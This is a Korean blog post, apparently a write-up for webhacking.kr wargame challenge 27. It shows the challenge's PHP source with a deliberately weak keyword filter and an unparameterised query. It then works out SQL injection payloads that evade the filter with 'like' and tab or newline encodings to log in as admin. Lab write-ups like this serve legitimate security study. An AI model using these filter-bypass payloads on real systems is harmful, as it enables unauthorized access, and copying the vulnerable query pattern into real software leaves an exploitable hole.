시작하고 GET Method로 no 변수에 숫자 1을 넣어주면 guest라는 문자열과 view-source가 나타나게 됩니다.
일단 view source 먼저 확인해보면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
<?php include "../../config.php" ; if ( $_GET [ 'view_source' ]) view_source(); ?> < html > < head > < title >Challenge 27</ title > </ head > < body > < h1 >SQL INJECTION</ h1 > < form method = get action = index .php> < input type = text name = no >< input type = submit > </ form > <?php if ( $_GET [ 'no' ]){ $db = dbconnect (); if (preg_match( "/#|select|\(| |limit|=|0x/i" , $_GET [ 'no' ])) exit ( "no hack" ); $r = mysqli_fetch_array (mysqli_query( $db , "select id from chall27 where id='guest' and no=({$_GET['no']})" )) or die ( "query error" ); if ( $r [ 'id' ]== "guest" ) echo ( "guest" ); if ( $r [ 'id' ]== "admin" ) solve(27); // admin's no = 2 } ?> < br >< a href=? view_source = 1 >view-source</ a > </ body > </ html > |
위의 소스를 보면 no값에 숫자가 감싸져 있는 것을 볼 수 있습니다.
그리고 뒤에는 따로 주석처리할 게 없습니다.
이를 우회하기 위해 다음과 같이 수행해 보았습니다.
select id from chall27 where id='guest' and no=(0)||id='guest' -- )
위와 같이 되면 guest가 나와야 정상이다.
그러나 위의 필터링에서 =, limit, 0x20(스페이스), 0x 등이 필터링 되어 있는 것을 볼 수 있습니다.
따라서 = 대신에 like를 0x20(스페이스) 대신에 GET Method로 %09 혹은 %0a를 넣어주도록 합시다.
문제의 답은 GET Method로 삽입하기 때문에 다음과 같이 쿼리를 넣어줄 수 있습니다.
테스트를 위해 guest를 출력해봄 no=0)%09or%09id%09like%09%27gu%25%27%09--%09
풀이를 위해 admin이 출력되게 함 no=0)%09or%09id%09like%09%27ad%25%27%09--%09
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No30(550) - old (0) | 2019.12.31 |
---|---|
Webhacking.kr_No.29(400) - old (0) | 2019.12.31 |
Webhacking.kr_No13(1000) - old (0) | 2019.12.15 |
Webhacking.kr_No.28(500) - old (0) | 2019.10.25 |
Webhacking.kr_No.26(100) - old (0) | 2019.10.24 |
Webhacking.kr_No.25(150) - old (0) | 2016.12.08 |
Webhacking.kr_No.24(100) - old (0) | 2016.06.28 |
Webhacking.kr_No.23(200) - old (0) | 2016.06.28 |